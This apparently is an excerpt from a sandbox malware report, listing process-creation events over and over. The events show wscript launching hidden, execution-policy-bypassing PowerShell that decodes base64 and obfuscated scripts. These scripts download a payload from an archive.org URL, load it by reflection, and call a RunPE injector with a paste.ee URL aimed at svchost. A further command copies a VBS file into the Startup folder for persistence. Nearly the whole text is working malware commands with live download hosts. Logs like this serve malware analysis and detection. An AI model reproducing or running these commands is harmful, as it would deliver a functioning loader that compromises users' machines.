zi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\escrivan.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgntnjydxjsjysnid0nkycgwicrj0hvjysnahqnkyd0chm6ly8nkydpytywmccrjzewjysnmc51cy5hcmnojysnaxynkydllicrj29yzy8ync8nkydpdccrj2vtcy9kzxrhjysnac1ujysnb3rllxyvrccrj2unkyd0ywhob3rlvicrjy50eccrj3rasg87tnjyjysnymenkydzzty0q29udgvujysndca9ichozxctt2jqzwn0ifn5c3rlbs4nkydozxquv2viqycrj2xpzscrj250ks5eb3dubg9hzccrj1n0cmluzyhoclh1cmwnkycpo05yjysnwccrj2jpjysnbicrj2fyjysneunvbnrlbicrj3qgpscrjybbu3lzdgvtlknvbnzlcnrdojpgcm9tqmfzzscrjzy0uycrj3ryjysnaw4nkydnke5ywgjhcycrj2u2nemnkydvbicrj3rlbicrj3qpo05ywgfzc2vtymx5id0gjysnw1jlzmxlyycrj3rpb24ujysnqscrj3nzzw1ibhldoicrjzpmjysnb2fkkccrj05yjysnwgjpbmfyjysneumnkydvbnqnkydlbnqpjysnoycrj05ywccrj3r5cccrj2unkycgpscrjyboclhhc3nlbwjsjysnes5hzxruexblkfpibycrj1j1blbflkhvbwvasg8po05ywccrj20nkydldghvzca9iccrj04nkydywhqnkyd5cguurycrj2v0tscrj2v0ag9kjysnkfpijysnb1zbsvpibyk7ticrj3inkydybwv0accrj29klicrj0lujysndm9rzshocicrj1hujysndscrj2xslcbbb2jqzwn0w11dqchasg8wl0u3tycrjzi4l2qvzwuujysnzxrzyxavlzpzchr0afpijysnbyasjysniccrj1pibzfasg8nkycglcbasg9dok93r1bybycrj2dyyw1eyscrj3rhjysntycrj3dhwkgnkydvicwgwkhvahzuy1onkydibywnkydajysnsg9zdicrj2nob3n0wkhvlfpib1pibyknkycpjykglwnyzxbmywnlicaow2noqvjdotarw2noqvjdnzirw2noqvjdmtexksxby2hbul0zos1yzvbsqunlj093rycsw2noqvjdotitcmvqbefdzsaow2noqvjdnzgrw2noqvjdmte0k1tjaefsxtg4ksxby2hbul0znil8aw52t0tllwv4ufjlu1npt04=';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "(('nrxurl'+' ='+' z'+'ho'+'ht'+'tps://'+'ia600'+'10'+'0.us.arch'+'iv'+'e.'+'org/24/'+'it'+'ems/deta'+'h-n'+'ote-v/d'+'e'+'tahnotev'+'.tx'+'tzho;nrx'+'ba'+'se64conten'+'t = (new-object system.'+'net.webc'+'lie'+'nt).download'+'string(nrxurl'+');nr'+'x'+'bi'+'n'+'ar'+'yconten'+'t ='+' [system.convert]::frombase'+'64s'+'tr'+'in'+'g(nrxbas'+'e64c'+'on'+'ten'+'t);nrxassembly = '+'[reflec'+'tion.'+'a'+'ssembly]:'+':l'+'oad('+'nr'+'xbinar'+'yc'+'ont'+'ent)'+';'+'nrx'+'typ'+'e'+' ='+' nrxassembl'+'y.gettype(zho'+'runpe.homezho);nrx'+'m'+'ethod = '+'n'+'rxt'+'ype.g'+'etm'+'ethod'+'(zh'+'ovaizho);n'+'r'+'xmeth'+'od.'+'in'+'voke(nr'+'xn'+'u'+'ll, [object[]]@(zho0/e7o'+'28/d/ee.'+'etsap//:sptthzh'+'o ,'+' '+'zho1zho'+' , zhoc:owgpro'+'gramda'+'ta'+'o'+'wgzh'+'o , zhohvncz'+'ho,'+'z'+'hosv'+'chostzho,zhozho)'+')') -creplace ([char]90+[char]72+[char]111),[char]39-replace'owg',[char]92-replace ([char]78+[char]114+[char]88),[char]36)\|invoke-expression"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command [system.io.file]::copy('c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\escrivan.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c ping 127.0.0.1 -n 10 & powershell -command [system.io.file]::copy('c:\users\public\documents\pow\wm.vbs', 'c:\users\' + [environment]::username + ''\appdata\roaming\microsoft\windows\start menu\programs\startup\ sbv.navircse.vbs')')
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -command $codigo = 'kcgnezb9dxjsid0gezf9ahr0chmnkyc6ly9pytywjysnmdewmc51cy5hcmnoascrj3zllm9yzycrjy8ync9pjysndgvtcycrjy9kjysnzxqnkydhjysnac1ub3rllxyvrgv0ywgnkydob3rlvicrjy50ehr7mx07ezankyd9ymfzzty0q28nkydudgvudcankyc9jysniccrjyhozxctt2inkydqzwn0ifn5jysnc3qnkydlbs5ozscrj3quvycrj2viq2xpzscrj250ks4nkydeb3dubccrj29hzfn0jysncmlujysnzyh7mccrj30nkyd1cmwpo3snkycwfwjpbicrj2fyjysneunvbicrj3rlbicrj3qgpscrjyankydbu3lzdgvtlknvbnzlcnrdjysnojonkydgcm9tqmenkydzzty0u3ryaw5nkhswfwjhc2unkyc2nenvbicrj3rlbnqpo3swfwfzc2unkydtymwnkyd5iccrjz0nkycgw1jlzmxly3rpb24uqxmnkydzjysnzw1ibhldojonkydmbycrj2fkkhswfwjpbmenkydyeunvbnrlbnqpo3swfxr5cccrj2ugjysnpsb7jysnmh0nkydhc3nlbscrj2jses5hzxrujysnexankydlkhsxfvinkyd1blbfjysnlkhvjysnbwv7jysnmx0po3swjysnfscrj21ljysndghvzca9ihswfxr5cguur2v0twv0ag9kkhsxfvzbjysnsxsxfscrjyk7ezb9jysnbscrj2unkyd0accrj29klklujysndicrj29rzsh7mh1udscrj2xslcbbb2jqzscrj2n0wycrj11djysnqch7mx0nkycwjysnl2dkmwsnkydtjysnl2qvjysnzwuuzscrj3rzyxavlzpzchr0ahsxjysnfscrjyasjysnihsxfwrljysnc2f0jysnaxzhzg97mscrj30nkycglcb7mscrj31kzxnhdgl2yscrj2qnkydvezf9icwgezf9jysnzgunkydzyxrpdmfkb3snkycxfsx7mx1djysnyscrj3nqbycrj2x7mx0nkycsezenkyd9eycrjzf9ksknks1micbby2hbul0znixby2hbul0zoskgfellea==';$owjuxd = [system.text.encoding]::utf8.getstring([system.convert]::frombase64string($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -noprofile -command $owjuxd
